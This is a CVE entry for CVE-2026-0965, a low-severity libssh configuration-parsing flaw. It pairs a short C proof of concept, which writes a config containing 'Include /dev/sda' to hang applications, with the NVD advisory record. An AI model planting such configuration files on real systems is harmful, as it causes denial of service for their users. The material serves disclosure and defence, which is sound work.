CVE-2026-0965

/* * PoC for CVE-2026-0965: libssh Arbitrary File Open DoS * Description: Create a malicious configuration file pointing to a blocking device. * Usage: Point libssh based application to load this config file. */ #include <stdio.h> void generate_malicious_config() { FILE *fp = fopen("malicious_config", "w"); if (!fp) return; // Attempt to force libssh to open a block device causing a hang fprintf(fp, "Include /dev/sda\n"); // Or a large file causing resource exhaustion // fprintf(fp, "IdentityFile /var/log/syslog\n"); fclose(fp); printf("Malicious config file 'malicious_config' generated.\n"); printf("Trigger: Application loading this config may hang or crash.\n"); } int main() { generate_malicious_config(); return 0; }

{"cve": {"id": "CVE-2026-0965", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:00.607", "lastModified": "2026-05-19T14:16:33.803", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libssh where it can attempt to open arbitrary files during configuration parsing. A local attacker can exploit this by providing a malicious configuration file or when the system is misconfigured. This vulnerability could lead to a Denial of Service (DoS) by causing the system to try and access dangerous files, such as block devices or large system files, which can disrupt normal operations."}, {"lang": "es", "value": "Se encontró una falla en libssh donde puede intentar abrir archivos arbitrarios durante el análisis de la configuración. Un atacante local puede explotar esto al proporcionar un archivo de configuración malicioso o cuando el sistema está mal configurado. Esta vulnerabilidad podría llevar a una denegación de servicio (DoS) al hacer que el sistema intente acceder a archivos peligrosos, como dispositivos de bloque o archivos de sistema grandes, lo que puede interrumpir las operaciones normales."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libssh:libssh:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.11.3", "matchCriteriaId": "2366D711-FD0B-4A04-92BA-DE6DA0ED1BCF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:18160", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:18683", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-0965", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2436980", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}